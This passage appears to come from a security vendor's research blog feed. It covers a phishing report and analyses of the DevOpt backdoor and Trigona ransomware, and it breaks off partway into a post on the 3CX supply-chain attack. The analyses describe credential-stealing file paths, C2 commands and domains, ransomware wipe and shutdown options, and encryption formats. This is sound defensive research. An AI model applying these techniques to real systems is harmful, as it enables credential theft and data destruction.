Cloud Sandbox can protect customers against these four vulnerabilities. PDF.Exploit.CVE-2022-35668 PDF.Exploit.CVE-2022-35665 PDF.Exploit.CVE-2022-35666 OSX.Exploit.CVE-2022-32843 Reference https://helpx.adobe.com/security/products/acrobat/apsb22-39.html https://support.apple.com/en-us/HT213345 https://support.apple.com/en-us/HT213343 https://support.apple.com/en-us/HT213344 https://www.adobe.com/jp/print/postscript/pdfs/PLRM.pdf https://srcincite.io/assets/postscript-pat-and-his-black-and-white-hat.pdf https://www.antlr.org/ https://treelib.readthedocs.io/en/latest/ https://tomassetti.me/antlr-mega-tutorial/#chapter28 https://github.com/syuanivy/PostScript-Interpreter Wed, 26 Apr 2023 08:40:43 -0700 Kai Lu https://www.zscaler.com/blogs/security-research/smash-postscript-interpreters-using-syntax-aware-fuzzer 2023 Phishing Report Reveals 47.2% Surge in Phishing Attacks Last Year https://www.zscaler.com/blogs/security-research/2023-phishing-report-reveals-47-2-surge-phishing-attacks-last-year Phishing attacks continue to be one of the most significant threats facing organizations today. As businesses increasingly rely on digital communication channels, cybercriminals exploit vulnerabilities in email, SMS, and voice communications to launch sophisticated phishing attacks. With the COVID-19 pandemic leading to a surge in remote work over the past several years, the risk of phishing attacks has only increased. The latest phishing report from Zscaler ThreatLabz reveals that phishing attacks are still on the rise, detailing a 47.2% increase in phishing attacks in 2022 compared to the previous year, a result of cybercriminals using increasingly sophisticated techniques to launch large-scale attacks. Education was the most targeted industry in 2022, with attacks increasing by 576%, while the retail and wholesale sector dropped by 67% from 2021. Microsoft brands, including OneDrive and Sharepoint, along with crypto exchange Binance and illegal streaming services, were targeted the most. The United States, the United Kingdom, the Netherlands, Russia, and Canada were the top five most targeted countries. Based on the analysis of 280 billion daily transactions and 8 billion daily blocked attacks, the report highlights the growing use of phishing kits and AI tools to launch highly effective campaigns that bypass traditional security models, including MFA. Zscaler ThreatLabz publishes this report year after year to help organizations recognize the social engineering tactics and sophisticated coding used in phishing attacks to prevent costly data breaches. The findings continue to emphasize the need for organizations to re-examine their cybersecurity infrastructure and take proactive measures to mitigate the growing threat of phishing scams and the techniques they leverage. For example, this year’s report identifies the rise in the use of phishing kits sourced from black markets and chatbot AI tools like ChatGPT, which allow attackers to easily develop more targeted phishing campaigns that manipulate users into sharing their security credentials. With the increased prevalence of AI and PaaS offerings, cybercriminals have an easier time compromising institutions and accessing sensitive data for extortion. The report also highlights the evolution of phishing attacks beyond SMS phishing (SMiShing) to using voicemail-related phishing (Vishing) to lure victims into opening malicious attachments. Additionally, sophisticated adversary-in-Middle (AiTM) attacks are helping attackers bypass multi-factor authentication (MFA security measures). To combat these threats, organizations must adopt a Zero Trust architecture that significantly minimizes the attack surface, prevents compromise, and reduces the blast radius in case of a successful attack. By implementing a Zero Trust approach, organizations can ensure that every user, application, device, and network is verified before being granted access to sensitive data. The 2023 report also provides actionable insights and expert advice on how organizations can employ security best practices to protect themselves from phishing attacks. It highlights the importance of educating employees on the risks of phishing and the need for strong password policies and MFA. Additionally, the report recommends implementing a cloud-based email security solution that uses AI and machine learning to detect and block phishing attacks. To learn more about the latest phishing threats and how to protect your organization, download the 2023 ThreatLabz Phishing Report today. Tue, 18 Apr 2023 15:44:57 -0700 Deepen Desai https://www.zscaler.com/blogs/security-research/2023-phishing-report-reveals-47-2-surge-phishing-attacks-last-year Introducing DevOpt: A Multifunctional Backdoor Arsenal https://www.zscaler.com/blogs/security-research/introducing-devopt-multifunctional-backdoor-arsenal Summary In recent years, malware attacks have become increasingly sophisticated, and attackers are always finding new ways to exploit vulnerabilities and steal sensitive data. To stay ahead of these threats, security researchers must constantly monitor the landscape and identify new threats as they emerge. In this article, we'll take a closer look at the findings of a recent study conducted by Zscaler's ThreatLabz team, which uncovered a new backdoor built using Free Pascal that has the ability to steal data from infected systems. We'll explore the techniques used by this malware, as well as the tactics employed by cybercriminals to entice users into downloading malicious payloads. By understanding these threats, we can take steps to protect ourselves and our systems from the dangers of malware attacks. Introduction Zscaler ThreatLabz has recently unearthed a new backdoor called 'Devopt'. It utilizes hard-coded names for persistence and offers several functionalities, including keylogging, stealing browser credentials, clipper, and more. Multiple versions of the backdoor have surfaced in just the last few days, indicating that it is still in development. In this blog post, we will delve into the specifics of this new backdoor and its workings. Additionally, we will offer tips on how to safeguard yourself against such attacks. Key Takeaways: Zscaler ThreatLabz uncovered a new backdoor and named it DevOpt based on the name of the persistence malware Discovered on a Russian website promising monetary rewards, victims are lured into downloading malicious payloads containing DevOpt malware The malware is currently still in development and is receiving continous improvement updates designed to make it a more potent and effective tool for attackers and threat for defenders DevOpt has advanced capabilities to function as a keylogger, stealer, grabber, and a clipper along with persistence mechanisms. Campaign: While on the hunt for new malware, the ThreatLabz research team at Zscaler came across a newly discovered backdoor that was created using Free Pascal. This backdoor is particularly dangerous as it has the ability to steal data from infected systems. Zscaler's ThreatLabz research team remains vigilant in tracking new malware threats. During a recent investigation, we discovered a backdoor that uses Free Pascal and is capable of stealing data from infected systems. Additionally, we came across a Russian website where users were offered financial rewards for completing a task that unwittingly involved downloading malware. Further analysis revealed that the downloaded malware had an archive icon, giving the impression of a compressed file and luring users into double-clicking it, which then executed the malware. This discovery underscores the lengths to which cybercriminals will go to lure users into downloading malicious payloads, using tactics such as offering financial incentives. It's worth noting that the malware's downloading URL pattern generally follows this structure: wdfiles-download[.]siteme[.]org/arxiv[digit].exe. Fig 1. - Russian Website(Translated to english) enticing users into downloading malicious payloads. Technical Analysis: Two versions of the backdoor have been discovered in the development stage. The first version, which lacks obfuscation to hide its strings, is roughly 20 MB in size and contains a Graphic User Interface not found in the newer variant, which is approximately 2 MB in size. The second version uses encoded integer-based strings for its functionality. The older version uses plain text HTTP protocol, while the newer variant searches for OpenSSH DLLs in the infected system to establish encrypted HTTPS connections to its command and control. To establish network connections, the backdoor requires several DLLs: libcrypto-1_1.dll, libeay32.dll, libssl-1_1.dll, libssl32.dll, and ssleay32.dll. If the malware is unable to locate these DLLs, it becomes inactive and will not infect the system further. Encoded String Decoded Strings Description 5494-4756-7544-6970-9430-8282-9348-9430-7544 C:\\Users\\ String to access infected system Users Directory 7544-5576-8282-9430-8774-9512-9102-9184-7544 \\Desktop\\ String to access infected system Desktop Directory 7544-5576-9102-8118-9594-8938-8282-9020-9512-9430-7544 \\Documents\\ String to access infected system Documents Directory 7544-5576-9102-9758-9020-8856-9102-7954-8200-9430-7544 \\Downloads\\ String to access Infected system Downloads Directory 8200-8282-9676-9102-9184-9512-3444-3772-8282-9840-8282 devopt*.exe Create a copy of itself in the Startup folder with devopt(random 2 digit).exe name. 7544-7134-8610-9020-8774-8282-9922-6068-8282-9512-3772-8610-9020-8610 \\WinkeyJet.ini Create configuration file with WinkeyJet.ini name. 8528-9512-9512-9184-9430-4756-3854-3854-8938-9676-8200-3690-8774-3690-9512-9594-8856-7954-3772-9430-8610-9512-8282-8938-8282-3772-9102-9348-8446-3854 https[:]//mvd-k-tula[.]siteme[.]org/ Command and Control domain. 7544-5330-9184-9184-5576-7954-9512-7954-7544-6724-9102-7954-8938-8610-9020-8446-7544-6314-8610-8118-9348-9102-9430-9102-8364-9512-7544-7134-8610-9020-8200-9102-9758-9430-7544-6806-9512-7954-9348-9512-2624-6314-8282-9020-9594-7544-6560-9348-9102-8446-9348-7954-8938-9430-7544-6806-9512-7954-9348-9512-9594-9184-7544 \\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\ Startup directory path. 6314-9102-10004-8610-8856-8856-7954-3854-4346-3772-3936-2624-3280-7134-8610-9020-8200-9102-9758-9430-2624-6396-6888-2624-4428-3772-4100-4838-2624-9348-9676-4756-4018-3936-4264-3772-3936-3362-2624-5822-8282-8118-8774-9102-3854-4100-3936-4018-3936-3936-4018-3936-4018-2624-5740-8610-9348-8282-8364-9102-9840-3854-4018-3936-4264-3772-3936 Mozilla/5.0 (Windows NT 6.2; rv:104.0) Gecko/20100101 Firefox/104.0 User Agent used for network requests. 8856-8610-9430-9512-8282-9020-8282-9348-3772-9184-8528-9184 listener.php Send collected data as listener.php The earlier version of the backdoor required user interaction by clicking on the Extract button, whereas newer versions run silently in the background without any need for user interaction. Fig 2. - Earlier version of malware requiring user interaction Based on the aforementioned observation, it can be concluded that the Threat Actor is adding more features to the backdoor and making it stealthier. Additional Analysis: After analyzing the malware, our observations revealed that it contains numerous capabilities. The following functionalities were observed: Persistence: Persistence refers to a malware's capability to remain active on a system even after a reboot or shutdown. This can be achieved by adding entries to the Windows Registry or by creating scheduled tasks. Once a malware establishes persistence, it can continue to operate in the background and carry out malicious activities undetected by the user. Upon closer observation, researchers noticed that the malware replicated itself in the Startup folder, enabling it to initiate automatically whenever the computer is powered on. Further observations of different versions revealed that it duplicates itself with a name devopt[random 2 digits].exe under the following path: C:\Users\User\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup. Fig 3. - Persistence mechanism Clipper: A clipper malware is created to pilfer confidential data from victims. Once it is installed on a victim's device, it can record the clipboard data, which can potentially be used to steal other sensitive information like login credentials, credit card numbers, or other financial data. Researchers noticed that the malware generates a file called 'clippa.dan' in the C:\User\[User] directory, which logs all the information copied to the clipboard. Fig 4. - Clipper logging data from the system Stealer: A stealer malware is created to pilfer sensitive information, such as login credentials, credit card details, and other personal data. Once it is installed on a victim's device, it can monitor the user's activity and steal sensitive information. The malware generates two files, namely 'cdck.bin' and 'bdck.bin,' in the C:\User\[User] directory, which steal the credentials, cookies, history, and version information of the two specific browsers, respectively. Chrome browser data collected from infected system: [C:\Users\User\AppData\Local\Google\Chrome\User Data\Default\Network\Cookies] [C:\Users\User\AppData\Local\Google\Chrome\User Data\Default\History] [C:\Users\User\AppData\Local\Google\Chrome\User Data\Default\Login Data] [C:\Users\User\AppData\Local\Google\Chrome\User Data\Last Version] 2. Yandex data collected from infected system: [C:\Users\User\AppData\Local\Yandex\YandexBrowser\User Data\Default\Network\Cookies] [C:\Users\User\AppData\Local\Yandex\YandexBrowser\User Data\Default\Network\History] [C:\Users\User\AppData\Local\Yandex\YandexBrowser\User Data\Default\Ya Passman Data] [C:\Users\User\AppData\Local\Yandex\YandexBrowser\User Data\Default\Ya Autofill Data] Keylogger: Keylogger malware is specifically designed to capture every keystroke made by a user on their device. This can be used to steal sensitive information like login credentials, credit card details, and other personal data. In this case, the malware creates a file named ‘Kebba.dan’ in the C:\User\[User] directory to log the keystrokes of the user. Fig 5. - Keylogger logging keystrokes Grabber: Fig 6. - Grabber enumerating the Directories for stealing file contents Grabber malware is created to illicitly obtain files and other data from an infected device. It targets text, Word, Excel, and RTF files stored in the Document, Download, or Desktop directories, and saves the stolen data in a file named “grb.bin” located at C:\User\[User] directory. Fig 7. - Grabber File contents stealing data Dropped text file In previous versions of this backdoor, researchers observed that it drops a file called ‘unpacked.dt’ in the ‘data’ folder of the current directory. This file is likely designed to confuse malware analysts because it appears to be an encoded malicious payload, but in reality, it contains randomly generated alphanumeric strings. In newer versions of the backdoor, a similar file named ‘0.txt’ is dropped in the current directory, which contains random strings that are hardcoded into the malware itself. Fig 8. - Generating random alphanumeric strings for unpacked.dt file Configuration File: The researchers noted the presence of a configuration file named "Winkeyjet.ini" that was dropped in the Users directory. This file contains information about the compromised system, such as the name of the operating system, a unique Device_ID, and the version number (Version) that represents the major version information of the compromised system. Additionally, the file includes the malware's hardcoded own version (OwnVer). The configuration file also specifies the Command and Control (CnC) server, which is responsible for providing instructions to the malware once it has been successfully installed. Fig 9. - Configuration file generated recording the device and version information Additional investigation has uncovered that certain malwares that are still in the early stages of development are displaying a message box that contains the text "putin Xyilo", which is a slogan that ridicules Russian President Vladimir Putin. Fig 10. - Msgbox displayed in underdeveloped versions of malware Network Communication: Establishing a connection with the Command and Control (CnC) starts with the malware sending a "create" request. Upon recognizing the request, the CnC responds with a "200 OK" message. After establishing the connection, the malware sends a command request to the CnC, which in turn responds with a SYNC command. Upon receiving the SYNC command, the malware executes the given command and sends a "SYNCRONIZED" response back to the CnC to indicate successful completion. Fig 11. - Network communication steps Commands: Below are the encoded string commands used by the observed malware: Encoded String Decoded Strings Description 6806-7298-6396-5494 SYNC Command to check connection between CnC and Malware. We observed in some variants malware send the ‘SYNCRONIZED’ response along with the version of the malware. 5576-5986-6724 DIR Command to collect file information of the given directory. It can collect file name, directory name, size and modified date. 6560-6970-6888 PUT Command to write collected information in file. It will give the response ‘HAD WRITTEN’ if the file is already present else ‘NOT WRITTEN’. 6724-5658-5330-5576 READ Command to read collected information from stored files and send data to CnC. 5658-7216-5658-5494 EXEC To execute commands sent from CnC and after successful execution it sends ‘EXECUTED’ response. 5576-6724-6232-6806 DRLS Command to collect Drive information (HDD, CDROM, RAMDISK, Network and Removable) of the infected system. 6560-6724-6232-6806 PRLS Command to collect the Process list of infected systems. The previous version of the malware did not include the DRLS and PRLS commands for gathering drive and process information, respectively. Conclusion Based on the observations made during the malware analysis, it is evident that the malware in question is a sophisticated and multifunctional threat. The malware is capable of performing various malicious activities such as stealing confidential information, logging keystrokes, stealing files, and establishing persistent access to the victim's system. It is also evident that the threat actor behind the malware is continuously improving the malware by adding new features, making it stealthier, and using various techniques to evade detection. The malware uses encoded strings for its commands and drops files with misleading names to deceive malware analysts. Furthermore, the malware communicates with a Command and Control server to receive instructions and send stolen data. The server's IP address and other details are hardcoded into the malware. Overall, the findings highlight the need for robust security measures to protect against advanced and evolving malware threats. It also emphasizes the importance of regular updates and security patches to mitigate the risks associated with these threats. As cyber threats continue to evolve and become increasingly complex, it is critical to remain alert and take proactive measures to protect against them. The discovery of this new backdoor is a testament to the ever-changing tactics of attackers and underscores the importance of ongoing monitoring and research. Zscaler's ThreatLabz team is dedicated to staying on top of these threats and sharing their findings with the wider community. It is essential to stay informed and take necessary precautions to safeguard against malware attacks. Remember to keep your software up-to-date, use strong passwords, and be wary of suspicious emails or messages. Zscaler Sandbox Coverage Zscaler's multilayered cloud security platform detects indicators, as shown below: Fig 12. - DevOpt Backdoor Zscaler sandbox report The following threat names are detected by Zscaler's multilayered cloud security platform for identifying malicious payloads: Win32.Backdoor.DevOpt MITRE ATT&CK Techniques: Tactic Technique ID Technique Name Execution T1129 Shared Modules Defense Evasion T1027 Obfuscated Files or Information Persistence T1037.005 T1547.001 Startup Items Registry Run Keys / Startup Folder Discovery T1057 T1082 T1083 Process Discovery System Information Discovery File and Directory Discovery Collection T1005 T1115 Data from Local System Clipboard Data Credential Access T1003 T1555.003 T1539 T1056.001 OS Credential Dumping Credentials from Web Browsers Steal Web Session Cookie Keylogging Command and Control T1095 T1071 Non-Application Layer Protocol Application Layer Protocol Indicators of Compromise (IOCs): db14d40d780853f80b93e21e92617680 94df2e4aa0f432ef992893d7b994ce84 Old Variant 391c894616dd0e8b372b801cbbc0a790 e42198e7c0647238b999a2b2133daac2 New Variant mvd-k-tula[.]siteme[.]org mvd-k-tula[.]ru Command and Control Domain wdfiles-download[.]siteme[.]org/arxiv5.exe Malicious Source Url used for distribution Tue, 18 Apr 2023 06:06:39 -0700 Shatak Jain https://www.zscaler.com/blogs/security-research/introducing-devopt-multifunctional-backdoor-arsenal Technical Analysis of Trigona Ransomware https://www.zscaler.com/blogs/security-research/technical-analysis-trigona-ransomware Key Points Trigona is a ransomware family written in the Delphi programming language that has been active since at least June 2022 The Trigona threat group claims to perform double extortion attacks by combining data exfiltration with file encryption Trigona utilizes 4,112-bit RSA and 256-bit AES encryption in OFB mode for file encryption The file decryption process is fairly convoluted with a tool that requires several steps to function properly The ransomware has been regularly updated with new capabilities including a new data wiper feature Zscaler ThreatLabz has been tracking the Trigona ransomware family, which dates back to June 2022. There has been public reporting that some of the group’s tactics, techniques, and procedures (TTPs) have overlapped with BlackCat/ALPHV ransomware. However, the two ransomware codebases are very different. Trigona is written in the Delphi programming language and encrypts files with a 4,112-bit RSA public key and a 256-bit AES symmetric key. The group claims to exfiltrate data prior to performing file encryption and hosts a data leak site that is hosted on a publicly available website rather than a TOR hidden service. Trigona’s ransomware code contains numerous idiosyncrasies such as an AES implementation without padding, the use of multiple AES modes (CBC and OFB), and a large encrypted file footer with extraneous fields and integrity checks. In this blog, we will analyze Trigona ransomware’s features, encryption algorithms, and file decryption process. We have also created a Python-based tool to extract and decrypt Trigona's ransomware configuration. Technical Analysis Trigona can be executed with or without command-line arguments. The latest versions of Trigona support the following parameters shown in Table 1. Command-Line Parameter Description /erase Overwrite files with NULL bytes, rename with a ._erased extension, and delete; by default the first 0x80000 bytes (512KB) will be overwritten, but this can be combined with the /full option to overwrite the full file content /is_testing Sets a testing flag that must be used with the /test_cid and /test_vid command-line parameters /shdwn Shutdown the system with the parameters -f -s -t 00 /r Randomize file encryption order /full Encrypt the full content of files; by default Trigona encrypts only the first 0x80000 bytes (512KB) !autorun Do not create an autorun registry value /test_cid Use the specified value instead of generating a computer ID /test_vid Use the specified value instead of the hardcoded victim ID (VID) from the configuration /p Recursively encrypt files in the specified path /path Recursively encrypt files in the specified path /!local Do not encrypt local files /!lan Do not encrypt files on network shares /autorun_only Create an autorun registry value that will execute the ransomware upon logon, but do not perform file encryption Table 1. Trigona ransomware command-line arguments The first three parameters in this table have been added in more recent versions. The CID value that is referenced in the code appears to be an acronym for a computer ID. This value is generated based on performing several MD5 hash calculations of system information (such as the computer name) with the formatted result matching the regular expression [A-F0-9]{8}-[A-F0-9]{4}-[A-F0-9]{8}. The VID value is likely a victim ID for the victim organization, although there are many Trigona samples where this value is left blank. The autorun registry value will be created in HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run with a registry name that consists of an uppercase hex string derived from the MD5 hash of the CID reversed, with the registry value pointing to the Trigona ransomware executable path. Ransomware Configuration After parsing the command-line parameters, Trigona loads an embedded configuration that is used to initialize an internal data structure. The ransomware stores this configuration in the binary’s resource section as a string resource named CFGS as shown in Figure 1. Figure 1. Encrypted Trigona ransomware configuration stored as a string resource The configuration is encrypted with two layers of AES in Cipher Block Chaining (CBC) mode. The first layer uses the first 32 bytes of the configuration as the AES key, followed by 16 bytes that are used as the AES initialization vector (IV), followed by the encrypted data. The result is another encrypted block of data with the order of the AES key and IV reversed, where the first 16 bytes represent another AES IV and the following 32 bytes are used as an AES key to decrypt the remaining encrypted data. There is one notable caveat related to Trigona’s use of AES with respect to padding. Since AES is a block cipher, padding is typically appended to the last block of data if it is not a multiple of the block length. However, the author of Trigona chose not to pad the final encrypted data block and instead implemented a variant of residual block termination. Thus, Trigona’s AES configuration decryption process is the following: Decrypt all 16-byte blocks using AES in CBC mode If the last encrypted block is not a multiple of 16 bytes, encrypt 16 NULL bytes Use the resulting ciphertext as an XOR key to decrypt the final block This alternative to padding breaks compatibility with some encryption libraries including PyCryptodome, which by default does not allow an encryption operation to follow decryption. However, ThreatLabz has developed a Python-based script that overrides the encryption library’s internal state to support this variant of residual block termination and decrypt Trigona’s ransomware configuration. The decrypted Trigona configuration format varies slightly between versions, but the general format is the following: struct trigona_cfg { BYTE num_padding_bytes; BYTE padding[num_padding_bytes]; BYTE config_md5[16]; DWORD section1_size; BYTE cfg_section1[section1_size]; DWORD section2_size; BYTE cfg_section2[section2_size]; DWORD section3_size; BYTE cfg_section3[section3_size]; }; Note that all integer values are stored in big-endian byte order. The structure of the first configuration section is shown below (note that there are two NULL bytes added in newer versions of Trigona): struct cfg_section1 { BYTE unk_null[2]; // added in newer versions struct cfg_item file_rsa_pub_key; struct cfg_item ransom_note_rsa_pub_key; struct cfg_item vid; struct cfg_item build_id; struct cfg_item unknown1; struct cfg_item extension_whitelist; struct cfg_item contact_email; struct cfg_item dir_whitelist; struct cfg_item unknown2; struct cfg_item unknown3; struct cfg_item unknown4; struct cfg_item unknown5; struct cfg_item ransom_note_aes_key; }; Each configuration item consists of the following structure: struct cfg_item { DWORD item_size; BYTE item[item_size]; }; The structure of the first configuration section contains a variety of information including two RSA public keys. The first public key is used for file encryption and the second RSA key is used for encrypting an integrity value that is embedded in the ransom note and required for creating an account on the victim ransom portal. The note also includes a victim ID (VID), build ID, extension whitelist, directory whitelist, an email address to contact the threat actors. The victim ID (VID) values that ThreatLabz has observed in Trigona samples are shown in Table 2 (some of the values are obfuscated to protect the identity of the victim). Table 2. Observed Trigona ransomware victim ID (VID) values The Trigona build IDs identified in Trigona samples are shown in Table 3. Table 3. Observed Trigona ransomware build IDs These build IDs appear to be incremental and may represent the version number of the ransomware with newer versions having a larger value. ThreatLabz has observed the following contact email addresses in Trigona ransom notes: [email protected] [email protected] [email protected] [email protected] [email protected] [email protected] [email protected] [email protected] The second configuration block has the following structure with 13 file extension blocks: struct cfg_section2 { struct extensions_block[13]; }; Each file extension block can be defined as follows: struct extensions_block { DWORD extension_block_size; struct file_extension extension_block[]; }; Finally, each individual file extension structure is stored in the structure: struct file_extension { BYTE length; BYTE extension[length]; }; Trigona samples analyzed by ThreatLabz have a total of 7,336 file extensions in the ransomware’s configuration. A list of these file extensions can be found here. The third and last configuration block stores the ransom note template with the structure: struct cfg_section3 { DWORD length; BYTE ransom_note_template[length]; }; The Trigona ransom note template can be found here. Data Wiper Functionality Trigona recently added data wiper functionality with the ability to overwrite files with NULL bytes in recent versions. The wiper functionality is triggered by passing the /erase command-line parameter. By default, Trigona will overwrite the first 0x80000 bytes of a file. However, similar to file encryption, a threat actor can pass the /full command-line parameter to overwrite the entire content with NULL bytes. After the file data is overwritten, the file is renamed with pseudo randomly generated characters in the format [a-z0-9]{1,32}.[a-z0-9]{1,10} and the extension _erased is appended. After the file is renamed, Trigona attempts to delete it. The ransomware will also attempt to remove any directories that are located within the specified path. The purpose of this feature may be to hinder forensic analysis or to destroy a victim’s data if they are not willing to pay a ransom. Encryption Algorithms Trigona uses a combination of RSA and AES for file encryption and for encrypting information that is stored in the ransom note. The AES algorithm is implemented using the open source Delphi DCPcrypt library and residual block termination is used in lieu of padding. File Encryption Trigona is capable of encrypting files on local drives as well as network drives. For the former, the ransomware will enumerate all drive letters from A to Z. Before file encryption begins, Trigona pseudo randomly generates a single master 32-byte AES key that is used for encrypting all files. For each file, Trigona generates another 80 pseudo random byte block that consists of 32 bytes of padding, a 32-byte AES key and a 16-byte IV. This 80-byte block is then encrypted using a 4,112-bit RSA public key that is hardcoded in Trigona’s configuration. This randomly generated AES key and IV are used to encrypt another block of data using AES in CBC mode that contains the actual master AES key that is used for file encryption. The AES mode used for file encryption is Output feedback (OFB) in contrast to CBC mode (which is used to decrypt Trigona’s configuration information and the master AES key). After a file has been encrypted, Trigona appends a large footer to the end of the file that contains a variety of information including the file’s encrypted AES key parameters, a (per-file) pseudo random 16-byte IV, along with MD5 hash values of the AES key and the RSA public key that was used to encrypt the file. Trigona also adds random padding in the footer to avoid a fixed length. The footer starts with 8 bytes where each odd byte (red) when concatenated together forms the size of the footer and each even byte (blue) is the hex value 0x53 (or the letter ‘S’) as shown below: The encrypted file footer includes many additional parameters including the CID, VID and build ID. There is also additional binary data that is appended that comes directly from the ransomware’s configuration. The purpose of this binary data is not known, but it may be used to further pad the file footer to evade behavioral-based EDR detections. After a file is encrypted, the filename extension is replaced with _locked. In recent versions, Trigona will also replace the original filename with pseudo randomly generated characters with the format [a-z0-9]{1,50}.[a-z0-9]{1,10} and append the _locked extension. The original filename is encrypted using the same AES key and IV that is used to decrypt the file content in OFB mode and then appended to the file footer. Figure 2 shows an example directory after Trigona’s file encryption has completed. Figure 2. Directory encrypted by Trigona ransomware Ransom Note Key Generation Trigona creates an HTML Application (HTA) file named how_to_decrypt.hta that contains the ransom note. Figure 3 shows an example of the Trigona ransom note when opened. Figure 3. Example Trigona ransom note In order to start the negotiation process to recover files, a victim must provide an authentication key that can be retrieved via the Copy button in Step 3 of the ransom note. This key is a large hex-encoded string. When decoded, there is a header that starts with the string @CLADID followed by a hex encoded MD5 hash of the VID from the configuration and another hex encoded MD5 hash of the VID reversed. This is followed by a block of data encrypted with a 4,096-bit RSA public key that is hardcoded in Trigona’s configuration. When this block is decrypted, the result is 32 bytes of padding followed by a 32-byte AES key and a 16-byte IV. This AES key and IV are used to encrypt victim information including the computer name, user name, Windows domain, operating system version, system architecture, and keyboard language. In addition, there’s a hex encoded string for an MD5 hash value of the encrypted victim data that is encrypted with two layers of AES. The first layer is encrypted with a hardcoded AES key from Trigona’s configuration. The second layer is encrypted using a pseudo random 32-byte AES key and pseudo random IV. Ransomware Decryption Trigona provides a quirky file decryption process, requiring a user to create an account on their ransom portal with the authentication key provided in the ransom note. After account creation, the victim can test file decryption and communicate with the threat group. Interestingly, the victim portal provides a (green) button to download a decryption tool as shown in Figure 4 without paying a ransom. Figure 4. Trigona victim ransom portal However, the tool itself cannot be used to decrypt files because it does not contain the necessary encryption parameters. The tool requires a file named keys.dat that is provided to the victim after payment has been received as shown in Figure 5. Figure 5. Trigona ransomware decryption menu requiring a keys.dat file This keys.dat file requires a user to send the threat actor another file named scan.dat, which contains a set of one or more RSA encrypted AES keys. The victim can use the decryption tool to scan for encrypted files to generate the scan.dat file as shown in Figure 6. Figure 6. Trigona ransomware decryption tool feature to scan for encrypted files After the encrypted file scan is complete, the scan.dat file is generated as shown in Figure 7. Figure 7. Trigona ransomware decryption tool after a scan has completed The scan.dat file contains a header with the magic bytes TDSF followed by the data encrypted with two layers of AES similar to Trigona’s configuration. After decryption, the scan data contains meta information including the VID, CID and build ID followed by the RSA encrypted AES key that was used for file encryption. When the threat actor receives the scan.dat file, they can use the victim’s RSA private key to decrypt an AES session key that is used to protect the victim’s AES key to generate the keys.dat file. The scan.dat file may include multiple CIDs, and therefore, multiple RSA encrypted AES keys. The keys.dat file header contains the magic bytes TDKF (green) followed by the subsequent keys.dat file size (orange), followed by the number of AES keys (purple), followed by one or more AES keys (blue) and the corresponding MD5 hash value (red) for each AES key as shown below. After the keys.dat file is provided to the decryption tool, the user interface will allow a victim to decrypt specific files or folders as shown in Figure 8. Figure 8. Trigona decryption tool with a valid keys.dat file provided When the Start full recovery button is pressed, the tool will enumerate files encrypted by Trigona by parsing each file to identify the file footer and use the corresponding AES key to decrypt the content. An example of the Trigona decryption tool upon completion is shown in Figure 9. Figure 9. Trigona ransomware decryption tool after completion Conclusion Trigona ransomware is a ransomware family that claims to perform double extortion attacks. However, the group does not appear to be as sophisticated as many rival ransomware threat groups. The use of AES without padding and the multiple modes of AES are not commonly observed in ransomware. In addition, the file decryption process entails running a file scan to generate another file that is sent back to the threat actor, who in turn provides a file with the necessary encryption keys. The introduction of a data wiper feature is a noteworthy addition that may be used to hinder forensic analysis or to destroy a victim’s data. Zscaler ThreatLabz continues to track this threat group and add detections to protect our customers. Cloud Sandbox Detection In addition to sandbox detections, Zscaler’s multilayered cloud security platform detects indicators related to Trigona at various levels with the following threat names: Win32.Ransom.Trigona Indicators of Compromise SHA256 Description 8cbe32f31befe7c4169f25614afd1778006e4bda6c6091531bc7b4ff4bf62376 Trigona ransomware with data wiper functionality efb688214c3fe5d9273ec03641cf17af5f546b11c97a965a49f8e617278ac700 Triigona ransomware decryption tool f64211b0a49589bb53523dfb88eb9937ab88c8fcea98e2aabcbee90f1828e94e Trigona ransomware 11b0e9673bbeb978aa9b95bcad43eb21bbe0bbaaf7e5a0e20d48b93d60204406 Trigona ransomware eda603f4d469d017917f5d6affeb992fdf3b7971e49868ece8c38fb8e6f8b444 Trigona ransomware c4529a061f205aaee46c219123d15059d2161df2bd7c7b738dd2a2c1ffd8d3ee Trigona ransomware 170fa5d29cdb562d41a054abf2a57ca29fc233805b59692a1a57ebf25449be7c Trigona ransomware f29b948905449f330d2e5070d767d0dac4837d0b566eee28282dc78749083684 Trigona ransomware 197f4933680a611ad2234a22769bd079885f81956221ec0de172d5a19eab648e Trigona ransomware 1017fcf607a329bb6ad046181c3656b686906a0767fff2a4a3c6c569c2a70a85 Trigona ransomware 761b78ddab55b4e561607ce5ce9d424a7aec4f1994aad988f0612b096cdd1d6d Trigona ransomware 097d8edb1762d7d3ded4360a9f5b4673a898937421f36853d2f5cde77e1bac93 Trigona ransomware 4a06231957c53dee1a11ff3eb84caad082f18761aee49e72d79c7f1d32884e34 Trigona ransomware Fri, 14 Apr 2023 08:30:01 -0700 Brett Stone-Gross https://www.zscaler.com/blogs/security-research/technical-analysis-trigona-ransomware 3CX Supply Chain Attack Campaign https://www.zscaler.com/blogs/security-research/3CX-supply-chain-attack-analysis-march-2023 On March 29th 2023, CrowdStrike published a blog outlining a supply chain attack leveraging the 3CXDesktopApp - a softphone application from 3CX. The ThreatLabz Team immediately started hunting for IoCs on the Zscaler Cloud. We observed infections dating back to February 2023 for both the Windows as well as the MacOS variant of the Trojanized 3CXDesktopApp installers. Fig.1 - Infections dating back to February 2023 in Zscaler Cloud In this case the Threat Actors targeted various industry verticals such as: Technology Services Manufacturing and more Further let’s analyze the Infection Chain for the 3CX Supply Chain Attack: Infection Chain: Fig.2 - Infection Chain The Infection chain begins with the software update routine where the 3CXDesktopApp calls the “Update.exe --update <3cx_update_url>” from its bundle to fetch the updates. This then downloads the valid signed Malicious 3CX MSI installer and the Affected 3CX MAC Application as required in the form of an update package on the victim's machine as shown in the screenshot below. Fig.3 - Requests to 3CX domain to download the Affected 3CX MSI installer v18.12.416 & 3CX Mac App v18.12.416 as an Update Package In this blog, we will take a look at the affected valid signed 3CX MSI Installer version 18.12.416 named “3CXDesktopApp-18.12.416.msi” which is signed on March 13, 2023. Fig.4 - Signed 3CX MSI Installer Upon execution the 3CX MSI installer extracts multiple files in the “AppData\Local\Programs\3CXDesktopApp” and then executes the valid signed 3CXDesktopApp.exe as shown below in the screenshot. Fig.5 - Execution of 3CXDesktopApp Further the 3CXDesktopApp.exe side loads the Backdoored signed DLL named “ffmpeg.dll” as based on the DLL search order mechanism if the DLL is present in the applications directory the DLL is loaded from there as shown in the screenshot. Fig.6 - 3CXDesktopApp sideloads the 